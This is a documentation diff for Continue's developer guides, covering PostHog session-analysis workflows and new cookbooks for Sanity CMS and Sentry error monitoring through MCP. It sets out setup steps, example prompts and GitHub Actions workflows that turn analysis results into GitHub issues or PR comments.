run: + ```bash + npx -y mcp-remote@latest https://mcp.posthog.com/sse --header Authorization:${{ secrets.continuedev/awesome-models-posthog-gh/posthog/posthog-mcp/POSTHOG_AUTH_HEADER }} + ``` + + + In the Continue Hub, add the [PostHog GitHub Continuous AI Rules](https://hub.continue.dev/bekah-hawrot-weigel/posthog-github-continuous-ai-rules) to your account for better formatting and error handling. + + + Use this prompt with Continue CLI to analyze PostHog data and create GitHub issues: + + ```bash + + # In cn TUI mode: + "Create GitHub issues from the PostHog analysis using gh CLI: + - For each issue, run: gh issue create --title '🔍 UX Issue: [title]' --body '[details]' + - Add labels: --label 'bug,user-experience,automated' + - Set priority labels (high/medium/low) + - Include session data and technical details in the body + Execute the commands and confirm each issue was created with URL." + ``` + + + + + + + + **Why GitHub CLI over GitHub MCP**: While GitHub MCP is available, it can be + token-expensive to run. The `gh` CLI is more efficient, requires no API tokens + (authenticated via `gh auth login`), and provides a cleaner command-line + experience. GitHub MCP remains an option if you prefer full MCP integration. + + + + To use the pre-built agent, you need either: + - **Continue CLI Pro Plan** with + the models add-on, OR + - **Your own API keys** added to Continue Hub secrets + The agent will automatically detect and use your + configuration. + + + +--- **Repository Labels Required**: Make sure your GitHub repository has these labels: -- `bug`, `enhancement` +- `bug`, `enhancement`, `technical-debt` - `high-priority`, `medium-priority`, `low-priority` -- `user-experience`, `automated` +- `user-experience`, `automated`, `feature-flag`, `cleanup` Create missing labels in your repo at: **Settings → Labels → New label** - **What Continue CLI Does:** - Parses your analysis results automatically - - Makes authenticated GitHub API calls using your stored token - Creates - properly formatted issues with appropriate labels - Checks for duplicate - issues to avoid spam - Provides confirmation with issue URLs + **What Continue CLI Does:** + - Parses your analysis results automatically + - Makes authenticated GitHub API calls using your stored token + - Creates properly formatted issues with appropriate labels + - Checks for duplicate issues to avoid spam + - Provides confirmation with issue URLs + -## Step 4: Set Up Automated GitHub Actions Workflow - -Create a GitHub Actions workflow that runs your Continue CLI analysis automatically on a schedule. - -### Add GitHub Secrets - -First, add these secrets to your GitHub repository: - -1. Go to **Repository Settings → Secrets and variables → Actions** -2. Click **"New repository secret"** and add: - - `CONTINUE_API_KEY`: Your Continue API key from hub.continue.dev - - `POSTHOG_API_KEY`: Your PostHog Personal API Key - - `POSTHOG_PROJECT_ID`: Your PostHog Project ID - - `POSTHOG_HOST`: `https://us.posthog.com` (or your custom PostHog host) - - `GITHUB_PAT`: Your GitHub Personal Access Token - -### Create GitHub Actions Workflow - -Create `.github/workflows/posthog-analysis.yml` in your repository: - -```yaml -name: PostHog Session Analysis with Continue CLI - -on: - schedule: - - cron: "0 6 * * *" # Run at 6 AM UTC daily - workflow_dispatch: # Allow manual triggering - -jobs: - analyze: - runs-on: ubuntu-latest - - permissions: - contents: read - issues: write - - steps: - - uses: actions/checkout@v4 - - - name: Set up Node.js - uses: actions/setup-node@v4 - with: - node-version: "18" - - - name: Install Continue CLI - run: | - npm install -g @continuedev/cli - echo "✅ Continue CLI installed" - cn --version - - - name: Set up environment variables - run: | - echo "POSTHOG_API_KEY=${{ secrets.POSTHOG_API_KEY }}" >> $GITHUB_ENV - echo "POSTHOG_PROJECT_ID=${{ secrets.POSTHOG_PROJECT_ID }}" >> $GITHUB_ENV - echo "POSTHOG_HOST=${{ secrets.POSTHOG_HOST || 'https://us.posthog.com' }}" >> $GITHUB_ENV - echo "GITHUB_PAT=${{ secrets.GITHUB_PAT }}" >> $GITHUB_ENV - echo "GITHUB_OWNER=${{ github.repository_owner }}" >> $GITHUB_ENV - echo "GITHUB_REPO=$(echo ${{ github.repository }} | cut -d'/' -f2)" >> $GITHUB_ENV - - - name: Authenticate with Continue CLI - run: | - # Set Continue API key - export CONTINUE_API_KEY="${{ secrets.CONTINUE_API_KEY }}" - # Login to Continue CLI - if ! cn auth login --api-key "$CONTINUE_API_KEY"; then - echo "❌ Failed to authenticate with Continue CLI" - exit 1 - fi - echo "✅ Continue CLI authenticated" - - - name: Run PostHog Session Analysis - run: | - echo "🎬 Starting PostHog session analysis..." - # Create the analysis prompt - cat > analysis_prompt.txt << 'EOF' - I need you to help me analyze PostHog session recordings to identify UX issues. Please: - - 1. First, fetch session recordings from PostHog using these details: - - Use the POSTHOG_API_KEY, POSTHOG_PROJECT_ID, and POSTHOG_HOST from environment variables - - API endpoint: $POSTHOG_HOST/api/projects/$POSTHOG_PROJECT_ID/session_recordings/?limit=20 - - Include Authorization header: "Bearer $POSTHOG_API_KEY" - - 2. Filter the sessions to find problematic ones with either: - - console_error_count > 0 (JavaScript errors) - - recording_duration > 300 (sessions longer than 5 minutes) - - 3. Analyze the filtered sessions and create exactly 3 GitHub issues for the most critical UX problems. - - 4. Format each issue like this: - ### 1. **Issue Title Here** - **Problem**: One sentence describing the user problem - **Technical Causes**: Brief technical explanation - **Affected Pages**: List the URLs - **Recommended Fix**: - - Specific action item 1 - - Specific action item 2 - **Priority**: **HIGH** or **MEDIUM** or **LOW** - **Impact**: Quantify the impact (e.g., 'Affects 80% of sessions') - - Please make the API call, analyze the data, and provide the 3 formatted issues. Base all recommendations on actual patterns in the session data. - - Environment context: - - POSTHOG_API_KEY: $POSTHOG_API_KEY - - POSTHOG_PROJECT_ID: $POSTHOG_PROJECT_ID - - POSTHOG_HOST: $POSTHOG_HOST - - GitHub Repo: $GITHUB_OWNER/$GITHUB_REPO - EOF - - # Run the analysis - cn < analysis_prompt.txt > analysis-results.txt 2>&1 - - # Check if analysis completed - if [ ! -s analysis-results.txt ]; then - echo "❌ Analysis failed or produced no output" - exit 1 - fi - - echo "✅ Analysis completed" - echo "📄 Analysis results preview:" - head -20 analysis-results.txt - - - name: Create GitHub Issues from Analysis - run: | - echo "📝 Creating GitHub issues from analysis..." - # Create the issue creation prompt - cat > issue_prompt.txt << 'EOF' - I have analyzed PostHog session data and identified UX issues. Now I need you to create GitHub issues using the GitHub API. - - Use these details from environment variables: - - GITHUB_PAT: My GitHub Personal Access Token - - Repository: $GITHUB_OWNER/$GITHUB_REPO - - For each issue in my analysis: - 1. Parse the issue title, body content, and priority level - 2. Create a GitHub issue via API POST to: https://api.github.com/repos/$GITHUB_OWNER/$GITHUB_REPO/issues - 3. Use these headers: - - Authorization: token $GITHUB_PAT - - Accept: application/vnd.github.v3+json - - Content-Type: application/json - 4. Set labels based on priority: - - HIGH: ["bug", "high-priority", "user-experience", "automated"] - - MEDIUM: ["enhancement", "medium-priority", "user-experience", "automated"] - - LOW: ["low-priority", "user-experience", "automated"] - 5. Format the issue title as: "🔍 UX Issue: {original title}" - - Please create the GitHub issues and confirm they were successfully created with issue numbers and URLs. - - Here's my analysis to process: - EOF - - # Append the analysis results to the prompt - cat analysis-results.txt >> issue_prompt.txt - - # Run the issue creation - cn < issue_prompt.txt > issue-creation-results.txt 2>&1 - - echo "✅ Issue creation completed" - echo "📄 Issue creation results:" - cat issue-creation-results.txt - - - name: Upload Analysis Artifacts - uses: actions/upload-artifact@v4 - if: always() - with: - name: analysis-results-${{ github.run_number }} - path: | - analysis-results.txt - issue-creation-results.txt - retention-days: 30 - - - name: Summary - run: | - echo "✅ PostHog analysis workflow completed!" - echo "📊 Check the artifacts for detailed analysis results" - echo "🐛 Check your repository issues for newly created UX issues" -``` - -## Step 5: Testing Your Workflow - -### Test Locally First - -Before setting up automation, test the workflow locally: - -**Test 1: Session Analysis** - -```bash -cn -p "[Paste the PostHog analysis prompt from Step 2]" -``` - -Expected: Analysis output with 3 formatted GitHub issues - -**Test 2: Issue Creation** - -```bash -cn -p "[Paste the GitHub issue creation prompt from Step 3 with your analysis results]" -``` - -Expected: Confirmation of GitHub issues created with URLs - -### Test the GitHub Actions Workflow - -1. **Manual Trigger**: Go to **Actions** tab in your repository and manually trigger the workflow -2. **Check Artifacts**: Download the analysis results from the workflow run -3. **Verify Issues**: Check that GitHub issues were created in your repository - - - **Success Indicators:** - PostHog API returns session data (not empty) - - Continue CLI generates analysis with identified issues - GitHub issues are - created with proper labels and formatting - Workflow completes without errors - - -## Troubleshooting - -If you encounter issues, use this helpful prompt to diagnose problems: - -```bash -cn -p "Help me set up my environment for PostHog session analysis. Please: - -1. Check if I have the required secrets configured in Continue CLI: - - POSTHOG_API_KEY - - POSTHOG_PROJECT_ID - - POSTHOG_HOST - - GITHUB_PAT - -2. If any are missing, guide me through: - - How to get PostHog Personal API Key from PostHog settings - - How to find my PostHog Project ID from the URL - - How to create a GitHub Personal Access Token with issues:write permission - - How to add these as secrets in Continue CLI - -3. Help me identify my GitHub repository owner and name by: - - Checking git remote origin URL - - Or asking me to provide them - -4. Test the API connections by making a simple API call to both PostHog and GitHub to verify the credentials work. - -Please walk me through this setup process step by step." -``` ## What You've Built After completing this guide, you have a complete **Continuous AI system** that: -✅ **Monitors user experience** - Automatically fetches and analyzes PostHog session data -✅ **Identifies problems intelligently** - Uses AI to spot patterns and technical issues -✅ **Creates actionable tasks** - Generates GitHub issues with specific recommendations -✅ **Runs autonomously** - Operates daily without manual intervention using GitHub Actions -✅ **Scales with your team** - Handles growing amounts of session data automatically +- **Monitors user experience** - Automatically fetches and analyzes PostHog session data + +- **Identifies problems intelligently** - Uses AI to spot patterns and technical issues + +- **Creates actionable tasks** - Generates GitHub issues with specific recommendations + +- **Runs autonomously** - Operates daily without manual intervention using GitHub Actions + +- **Scales with your team** - Handles growing amounts of session data automatically Your system now operates at **[Level 2 Continuous @@ -459,38 +256,105 @@ After completing this guide, you have a complete **Continuous AI system** that: ## Security Best Practices - **Protect Your API Keys:** - Store all credentials as GitHub Secrets, never in - code - Use Continue CLI's secure secret storage - Limit token scopes to - minimum required permissions - Rotate API keys regularly (every 90 days - recommended) - Monitor token usage for unusual activity + + **Protect Your API Keys:** + - Store all credentials as GitHub Secrets, never in + code + - Use Continue CLI's secure secret storage + - Limit token scopes to minimum required permissions + - Rotate API keys regularly (every 90 days recommended) + - Monitor token usage for unusual activity + -## Advanced Prompts +## Example Use Cases + +Here are practical examples of what you can build with PostHog MCP and Continue CLI: + +### Session Recording Analysis (Current Implementation) + +The main workflow above focuses on analyzing session recordings to identify UX issues and create GitHub issues automatically. + +### Feature Flag Audit and Cleanup + + + Automatically audit your feature flags to identify unused, outdated, or problematic flags that need attention. + + +**What this workflow does:** +- Fetches all feature flags from your PostHog project +- Analyzes flag usage, rollout status, and configuration +- Identifies flags that may be candidates for removal or updates +- Creates GitHub issues for flag cleanup tasks + +**Example Continue CLI prompts:** + +```bash +# Get all feature flags and analyze them +cn "Use PostHog MCP to fetch all feature flags with mcp__posthog__feature-flag-get-all. Then analyze each flag to identify: 1) Flags that are 100% rolled out and could be removed, 2) Flags that haven't been updated in 90+ days, 3) Flags with complex targeting that might need simplification, 4) Experimental flags that should be cleaned up." + +# Create cleanup issues for identified flags +cn "For each problematic feature flag identified, create a GitHub issue using gh CLI: +- Title: '🏁 Feature Flag Cleanup: [flag_name]' +- Include flag details: rollout percentage, last modified date, targeting rules +- Add labels: 'technical-debt', 'feature-flag', 'cleanup' +- Set priority based on risk level (high for 100% rollouts, medium for stale flags) +- Include specific recommendations for each flag" + +# Audit flag performance impact +cn "Cross-reference feature flags with PostHog performance metrics to identify flags that may be impacting user experience or site performance. Create performance-focused GitHub issues for flags showing negative impact." +``` + +**Required PostHog MCP Tools:** +- `feature-flag-get-all` - Retrieve all feature flags +- `feature-flag-get-definition` - Get detailed flag configuration +- `query-run` - Run analytics queries to check flag usage +- `insights-get-all` - Get insights related to flag performance + +**Sample Output:** +This workflow creates GitHub issues like: +- "🏁 Feature Flag Cleanup: dark-mode-toggle" (100% rollout, safe to remove) +- "🏁 Feature Flag Review: experimental-checkout" (unused for 120 days) +- "🏁 Feature Flag Simplify: complex-user-targeting" (overly complex rules) + +### Advanced Prompts Consider enhancing your workflow with these advanced Continue CLI prompts: - "Analyze PostHog performance metrics alongside session recordings to - identify slow page loads affecting user experience" + "Analyze [PostHog performance + metrics](https://posthog.com/docs/web-analytics) alongside session + recordings to identify slow page loads affecting user experience" "Cross-reference JavaScript console errors with user actions to identify the root cause of UX issues" - - "Analyze how PostHog feature flags impact user behavior in session - recordings" + + "Use PostHog MCP to correlate feature flag rollouts with performance metrics and user behavior changes to identify flags causing issues" "Create Slack alerts when critical UX issues are detected in PostHog - sessions" + sessions or when feature flags need attention" ## Next Steps -1. **Monitor your first issues** - Review the GitHub issues created and implement fixes -2. **Measure impact** - Track how resolved issues improve PostHog metrics -3. **Refine prompts** - Adjust the Continue CLI prompts based on issue quality -4. **Scale the system** - Add more data sources or create specialized analysis workflows +- Consider [GitHub MCP](https://hub.continue.dev/github/github-mcp) as an alternative (note: can be token-expensive) +- Configure [Slack MCP](https://hub.continue.dev/slack/slack-mcp) for alerts +- Set up [PostHog performance monitoring](https://posthog.com/docs/web-analytics) +- Join the [Continue Discord](https://discord.gg/continue) for support + +## Resources + +- [PostHog API Documentation](https://posthog.com/docs/api) +- [PostHog MCP Documentation](https://posthog.com/docs/model-context-protocol) +- [PostHog Session Replay](https://posthog.com/docs/session-replay) +- [PostHog Feature Flags](https://posthog.com/docs/feature-flags) +- [PostHog Error Tracking](https://posthog.com/docs/error-tracking) +- [GitHub CLI Documentation](https://cli.github.com/) +- [GitHub MCP on Continue Hub](https://hub.continue.dev/github/github-mcp) (alternative option) +- [Continue CLI Guide](https://docs.continue.dev/guides/cli) +- [Continuous AI Best Practices](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/) diff --git a/docs/guides/sanity-mcp-continue-cookbook.mdx b/docs/guides/sanity-mcp-continue-cookbook.mdx new file mode 100644 index 000000000..c5a92b6f7 --- /dev/null +++ b/docs/guides/sanity-mcp-continue-cookbook.mdx @@ -0,0 +1,572 @@ +--- +title: "Content Management with Sanity MCP and Continue" +description: "Set up an AI-powered content management workflow that helps you manage schemas, run GROQ queries, handle documentation, and perform migrations using natural language commands." +sidebarTitle: "Sanity CMS with Continue" +--- + + + An AI-powered content management system workflow that uses Continue's AI agent with Sanity + MCP to manage schemas, execute GROQ queries, handle migrations, and maintain documentation - all through simple natural language prompts + + +## Prerequisites + +Before starting, ensure you have: + +- Continue account with **Hub access** + - Read: [Understanding Configs — How to get started with Hub configs](/hub/configs/intro) +- Node.js 20+ installed locally +- A [Sanity account](https://www.sanity.io/) and project (free tier works) +- Basic understanding of content management systems + +For all options, first: + + + ```bash + npm i -g @continuedev/cli + ``` + + + + ```bash + npm install -g @sanity/cli + ``` + + + + To use agents in headless mode, you need a [Continue API key](https://hub.continue.dev/settings/api-keys) and proper environment variable configuration. + + +## Getting Started with Sanity + + + +New to Sanity? Follow the [Sanity Getting Started Guide](https://www.sanity.io/docs/getting-started) to set up your first project. + +**Quick setup:** +```bash +npm create sanity@latest +cd your-project-name +npm run dev +``` + +**Key resources:** +- [Sanity Studio](https://www.sanity.io/docs/sanity-studio) - Content editing interface +- [Schema Types](https://www.sanity.io/docs/schema-types) - Define content structure +- [GROQ](https://www.sanity.io/docs/groq) - Query language for fetching content +- [Content Lake](https://www.sanity.io/docs/datastore) - Real-time data store + + + +## Sanity MCP Workflow Options + + + Skip the manual setup and use our pre-built Sanity Assistant agent that includes + the Sanity MCP and optimized content management workflows for more consistent results. You can [remix this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to customize it for your specific needs. + + + +After ensuring you meet the **Prerequisites** above, you have two paths to get started: + + + + + + Visit the [Sanity Assistant Agent](https://hub.continue.dev/continuedev/sanity-assistant-agent) on Continue Hub and click **"Install Config"** or run: + + ```bash + cn --agent continuedev/sanity-assistant-agent + ``` + + This agent includes: + - **[Sanity MCP](https://hub.continue.dev/sanity/sanity-mcp)** pre-configured and ready to use + - **Content management rules** for best practices + - **Schema optimization** guidelines + + + + Start with these beginner-friendly prompts to explore your content: + + ```bash + # Content exploration + "Show me all blog posts published in the last month" + + # Schema understanding + "Show me all the document types in my Sanity schema and explain their relationships" + + # Content management + "Create a new product page for our upcoming feature" + ``` + + That's it! The agent handles everything automatically. For more starter prompts and examples, see the [official Sanity MCP blog post](https://www.sanity.io/blog/model-context-protocol). + + + + + **Why Use the Agent?** The pre-built Sanity Assistant agent provides consistent content management workflows and handles MCP configuration automatically, making it easier to get started with AI-powered CMS operations. Results are more consistent and debugging is easier thanks to the [Sanity MCP](https://hub.continue.dev/sanity/sanity-mcp) integration and pre-tested prompts. + + + + + + + + Go to the [Continue Hub](https://hub.continue.dev) and [create a new agent](https://hub.continue.dev/new?type=agent). + + + + Visit the [Sanity MCP on Continue Hub](https://hub.continue.dev/sanity/sanity-mcp) and click **"Install"** to add it to the agent you created in the step above. + + This will add Sanity MCP to your agent's available tools. The Hub listing automatically configures the MCP connection. + + + **Alternative installation methods:** + 1. **Quick CLI install**: `cn --mcp sanity/sanity-mcp` + 2. **With config**: Use [Sanity MCP Config](https://hub.continue.dev/sanity/sanity-mcp-config) for environment variable setup + 3. **Manual configuration**: Add the MCP to your agent configuration + + Once installed, Sanity MCP tools become available to your Continue agent for all prompts. + + + + **Authentication Options:** + - **Interactive mode**: OAuth authentication via browser (expires after 7 days) + - **Headless/CI mode**: Uses environment variables (SANITY_API_TOKEN, SANITY_PROJECT_ID, etc.) + + See [Sanity MCP Config](https://hub.continue.dev/sanity/sanity-mcp-config) for environment variable setup. + + + + + + Start with these beginner-friendly prompts: + ```bash + cn + # Try these starter prompts: + # "Show me all blog posts published in the last month" + # "Show me all the document types in my Sanity schema and explain their relationships" + # "Create a new product page for our upcoming feature" + ``` + + For more examples, see the [Sanity MCP blog post](https://www.sanity.io/blog/model-context-protocol). + + + + + + + + To use the pre-built Sanity Assistant agent, you need either: + - **Continue CLI Pro Plan** with the models add-on, OR + - **Your own API keys** added to Continue Hub secrets + + The agent will automatically detect and use your configuration along with the pre-configured Sanity MCP for content operations. Note that OAuth authentication will be required on first use. + + + +--- + +## Sanity MCP Capabilities + + + **Sanity MCP** provides comprehensive tools for content management: + - Execute [GROQ queries](https://www.sanity.io/docs/groq) to fetch and analyze content + - Explore and modify [document schemas](https://www.sanity.io/docs/schema-types) + - Manage [content releases](https://www.sanity.io/docs/release-schedules) and versions + - Handle content [migrations](https://www.sanity.io/docs/migrating-data) between environments + - Automate documentation generation + - Perform bulk content operations + - Manage [localization](https://www.sanity.io/docs/localization) and translations + + The MCP integrates seamlessly with your existing Sanity workspace, providing AI-powered assistance for both development and content operations. + + +--- + +## Your First MCP Conversation + +With everything set up, you're ready for your first AI-powered content conversation! Try these beginner-friendly starter prompts: + + + + ``` + "Show me all blog posts published in the last month" + ``` + + + ``` + "Create a new product page for our upcoming feature" + ``` + + + ``` + "Update our pricing information across all service pages" + ``` + + + ``` + "Schedule the Easter marketing campaign content release for next Tuesday" + ``` + + + + +**New to MCP?** These prompts demonstrate the power of natural language content management. For more examples and detailed explanations, check out the [official Sanity MCP blog post](https://www.sanity.io/blog/model-context-protocol). + + +## Content Management Recipes + +Now you can use natural language prompts to manage your Sanity content and schemas. The Continue agent automatically calls the appropriate Sanity MCP tools. + + +You can add prompts to your agent's configuration for easy access in future sessions. Go to your agent in the [Continue Hub](https://hub.continue.dev), click **Edit**, and add prompts under the **Prompts** section. + + + + **Where to run these workflows:** + - **IDE Extensions**: Use Continue in VS Code, JetBrains, or other supported IDEs + - **Terminal (TUI mode)**: Run `cn` to enter interactive mode, then type your prompts + - **CLI (headless mode)**: Use `cn -p "your prompt"` for headless commands + + **Test in Plan Mode First**: Before running operations that might make + changes, test your prompts in plan mode (see the [Plan Mode + Guide](/guides/plan-mode-guide); press **Shift+Tab** to switch modes in TUI/IDE). This + shows you what the agent will do without executing it. + + To run any of the example prompts below in headless mode, use `cn -p "prompt"` + + + + + **About the --auto flag**: The `--auto` flag enables tools to run continuously without manual confirmation. This is essential for headless mode where the agent needs to execute multiple tools automatically to complete tasks like schema exploration, GROQ execution, and content migration. + + + +### Schema Management + + + Review and understand your content schema structure. + +**Prompt:** +``` +Show me all document types in my Sanity schema with their fields, +validation rules, and relationships to other types. +``` + + + +### GROQ Queries + + + Run GROQ queries to fetch and analyze content. + +**Prompt:** +``` +Run a GROQ query to fetch all articles published in the last 30 days, +including their titles, authors, categories, and view counts. +``` + + + +### Content Operations + + + Perform bulk operations on your content. + +**Prompt:** +``` +Find all blog posts with the category "News" and update their +status to "archived" if they are older than 6 months. +``` + + + +### Localization + + + Set up and manage content translations. + +**Prompt:** +``` +Add localization support to my article document type for +Spanish and French languages with appropriate field configurations. +``` + + + +### Content Migration + + + Migrate content between different schemas or environments. + +**Prompt:** +``` +Help me migrate my blog posts from the old schema structure +to the new one, mapping the deprecated fields to the new format. +``` + + + +### Documentation Generation + + + Automatically generate documentation for your content model. + +**Prompt:** +``` +Generate comprehensive documentation for my Sanity schema including +all document types, their purposes, field descriptions, and usage examples. +``` + + + +### Content Releases + + + Work with Sanity's content release feature. + +**Prompt:** +``` +List all active releases in my dataset and show me the content +changes scheduled for each release. +``` + + + +### Performance Analysis + + + Optimize GROQ queries for better performance. + +**Prompt:** +``` +Analyze the performance of my most frequent GROQ queries and +suggest optimizations to improve response times. +``` + + + +## Continuous Content Management with GitHub Actions + + This example demonstrates a **Continuous AI workflow** where content validation and schema checks run automatically in your CI/CD pipeline in headless mode using the Sanity agent config. Consider [remixing this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to add your organization's specific content governance rules. + +### Add GitHub Secrets + +Navigate to **Repository Settings → Secrets and variables → Actions** and add: + +- `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys) +- `SANITY_PROJECT_ID`: Your Sanity project ID +- `SANITY_DATASET`: Your Sanity dataset name (usually "production") +- `SANITY_API_TOKEN`: Your Sanity API token with appropriate permissions +- `MCP_USER_ROLE`: Your MCP user role (typically "admin" or "editor") + + + The workflow uses the [Sanity Assistant Agent](https://hub.continue.dev/continuedev/sanity-assistant-agent) with environment variable authentication via [Sanity MCP Config](https://hub.continue.dev/sanity/sanity-mcp-config). This enables headless mode operation without OAuth browser authentication. + + +### Create Workflow File + +This workflow automatically validates your Sanity schemas and content on pull requests using the Continue CLI in [headless mode](/cli/overview#headless-mode%3A-production-automation). It checks schema integrity, validates content relationships, and posts a summary report as a PR comment. + +Create `.github/workflows/sanity-content-validation.yml` in your repository: + +```yaml +name: Sanity Content Validation with MCP + +on: + pull_request: + branches: [main] + workflow_dispatch: + +jobs: + validate-content: + runs-on: ubuntu-latest + env: + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} + SANITY_PROJECT_ID: ${{ secrets.SANITY_PROJECT_ID }} + SANITY_DATASET: ${{ secrets.SANITY_DATASET }} + SANITY_API_TOKEN: ${{ secrets.SANITY_API_TOKEN }} + MCP_USER_ROLE: ${{ secrets.MCP_USER_ROLE }} + + steps: + - uses: actions/checkout@v4 + + - name: Set up Node.js + uses: actions/setup-node@v4 + with: + node-version: "18" + + - name: Install Sanity CLI + run: | + npm install -g @sanity/cli + echo "✅ Sanity CLI installed" + + - name: Install Continue CLI + run: | + npm install -g @continuedev/cli + echo "✅ Continue CLI installed" + + - name: Validate Schema Structure + run: | + echo "🔍 Validating schema structure..." + cn --agent continuedev/sanity-assistant-agent \ + -p "Analyze the Sanity schema for any structural issues, + missing required fields, or broken references between document types." \ + --auto + + - name: Check Content Integrity + run: | + echo "📊 Checking content integrity..." + cn --agent continuedev/sanity-assistant-agent \ + -p "Run GROQ queries to identify any orphaned documents, + broken references, or missing required fields in the content." \ + --auto + + - name: Generate Schema Documentation + run: | + echo "📝 Generating schema documentation..." + cn --agent continuedev/sanity-assistant-agent \ + -p "Generate a markdown summary of all schema changes + in this PR and their potential impact on existing content." \ + --auto > schema-changes.md + + - name: Comment Report on PR + if: always() && github.event_name == 'pull_request' + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + REPORT=$( cn --agent continuedev/sanity-assistant-agent \ + -p "Generate a concise summary (200 words or less) of: + - Schema validation results + - Content integrity checks + - Any breaking changes detected + - Recommended actions before merging" \ + --auto) + + gh pr comment ${{ github.event.pull_request.number }} --body "$REPORT" +``` + + + Environment variables enable the MCP to authenticate without OAuth browser prompts. The [Sanity MCP Config](https://hub.continue.dev/sanity/sanity-mcp-config) documentation provides detailed setup instructions for all required variables. + + +## Content Management Best Practices + +Implement automated content quality checks using Continue's rule system. See the [Rules deep dive](/customize/deep-dives/rules) for authoring tips. + + + ```bash + "Before deploying schema changes, validate that all required fields + are present and that no breaking changes affect existing content." + ``` + + + + ```bash + "When creating new content types, ensure they follow the existing + naming conventions and field patterns established in the schema." + ``` + + + + ```bash + "Review GROQ queries for performance issues and suggest indexes + or query restructuring to improve response times." + ``` + + + + ```bash + "Ensure all user-facing content fields have proper localization + support configured for the required languages." + ``` + + +## Troubleshooting + +### Authentication Issues + +```bash +"Check if I'm properly authenticated with Sanity. +If not, help me set up OAuth or API token authentication." +``` + +### Schema Not Found + +```bash +"Verify that the Sanity project is properly configured +and that the schema files are accessible in the current directory." +``` + +### GROQ Query Errors + +```bash +"Debug this GROQ query and explain why it's failing, +then provide a corrected version that achieves the intended result." +``` + +### Migration Conflicts + + + **Verification Steps:** + - Sanity MCP is installed via [Continue Hub](https://hub.continue.dev/sanity/sanity-mcp) + - Project is authenticated with Sanity + - Schema files are present and valid + - Dataset permissions are correctly configured + + +## What You've Built + +After completing this guide, you have a complete **AI-powered content management system** that: + +- ✅ Uses natural language — Simple prompts instead of complex CMS commands +- ✅ Manages schemas automatically — AI handles schema evolution and migrations +- ✅ Runs continuously — Automated validation in CI/CD pipelines +- ✅ Ensures quality — Content checks prevent broken references and invalid data + + + Your content management workflow now operates at **[Level 2 Continuous + AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** - + AI handles routine content operations and schema management with human oversight + through review and approval of changes. + + +## Next Steps + +1. **Explore your schema** - Try the schema exploration prompt on your current project +2. **Run GROQ queries** - Use natural language to query your content +3. **Set up CI validation** - Add the GitHub Actions workflow to your repo +4. **Create documentation** - Generate comprehensive docs for your content model +5. **Optimize performance** - Analyze and improve query performance + +## Additional Resources + + + + Complete Sanity platform documentation + + + Explore more MCP integrations and agents + + + Learn GROQ query language + + + Official Sanity MCP introduction with examples + + + Official Sanity MCP documentation + + \ No newline at end of file diff --git a/docs/guides/sentry-mcp-error-monitoring.mdx b/docs/guides/sentry-mcp-error-monitoring.mdx new file mode 100644 index 000000000..18abea69d --- /dev/null +++ b/docs/guides/sentry-mcp-error-monitoring.mdx @@ -0,0 +1,538 @@ +--- +title: "Automated Error Analysis with Sentry MCP" +description: "Build an AI-powered error monitoring workflow that analyzes Sentry issues, identifies patterns, and creates actionable GitHub issues automatically." +sidebarTitle: "Sentry Automated Error Analysis with MCP" +--- + + + An automated error monitoring system that uses Continue CLI with Sentry MCP to analyze production errors, identify root causes with AI, and create detailed GitHub issues with suggested fixes. + + +## What You'll Learn + +This cookbook teaches you to: + +- Use [Sentry MCP](https://docs.sentry.io/product/sentry-mcp/) to access [issues](https://docs.sentry.io/product/issues/) +- Analyze error patterns and stack traces with AI + +- Automatically create GitHub issues with root cause analysis +- Set up continuous error monitoring with GitHub Actions + +## Prerequisites + +Before starting, ensure you have: + +- GitHub repository where you want to create issues +- [Sentry account](https://sentry.io) with an active project collecting errors +- Node.js 18+ installed locally +- [Continue CLI](https://docs.continue.dev/guides/cli) with **active credits** (required for API usage) +- [GitHub CLI](https://cli.github.com/) installed (`gh` command) + + + + ```bash + npm i -g @continuedev/cli + ``` + + + + 1. Visit [Continue Organizations](https://hub.continue.dev/settings/organizations) + 2. Sign up or log in to your Continue account + 3. Navigate to your organization settings + 4. Click **"API Keys"** and then **"+ New API Key"** + 5. Copy the API key immediately (you won't see it again!) + 6. Login to the CLI: `cn login` + + + + + Continue CLI handles complex error analysis and API interactions - you just need to provide the right prompts! + + +## Step 1: Set Up Your Credentials + +First, you'll need to gather your Sentry and GitHub API credentials. + + + + + + See [Sentry MCP Documentation](https://docs.sentry.io/product/sentry-mcp/) for detailed configuration options + + + The Sentry MCP supports multiple configuration methods. For Continue CLI, OAuth is recommended: + + **Option 1: OAuth Configuration (Recommended)** + + The Sentry MCP will prompt for OAuth authentication when first used. Simply follow the authorization flow. + + **Option 2: STDIO Mode with Auth Token** + + For local development or self-hosted Sentry installations, you can use STDIO mode: + ```bash + npx @sentry/mcp-server@latest --access-token=YOUR_SENTRY_TOKEN --host=sentry.io + ``` + + Or use environment variables: + ```bash + SENTRY_ACCESS_TOKEN=your-token SENTRY_HOST=sentry.io + ``` + + + The `--host` parameter is required and should point to your Sentry instance (e.g., `sentry.io` or `sentry.example.com` for self-hosted). + + + + + You'll need a **Sentry User Auth Token** to access issues and error data: + + 1. Go to [User Auth Tokens](https://sentry.io/settings/account/api/auth-tokens/) in Sentry + - For self-hosted Sentry, use: `https://YOUR-SENTRY-DOMAIN/settings/account/api/auth-tokens/` + 2. Click **Create New Token** + 3. Name it "Continue CLI Error Analysis" + 4. **Select these permission scopes** (required for full functionality): + - `org:read` - **Required** - Access organization information + - `project:read` - **Required** - Read project configurations + - `project:releases` - **Required** - Access release information for deployment tracking + - `event:read` - **Required** - Read detailed error event data and stack traces + - `event:write` - Optional - Update error events (for marking as resolved) + - `member:read` - Recommended - Read team member information for auto-assignment + - `team:read` - Recommended - Access team data for routing issues + 5. Copy the token immediately (you won't see it again!) + 6. Note your organization slug (found in your Sentry URL: `https://sentry.io/organizations/YOUR-ORG-SLUG`) + 7. Note your Sentry host URL (typically `https://sentry.io` or your self-hosted domain) + + + **Sentry MCP Connection**: The MCP server connects via OAuth to `https://mcp.sentry.dev/mcp` and handles authentication securely. For local development, you can use STDIO mode with your auth token. + + + + + GitHub CLI handles authentication automatically - no manual PAT needed: + + 1. Install GitHub CLI if not already installed + 2. Run 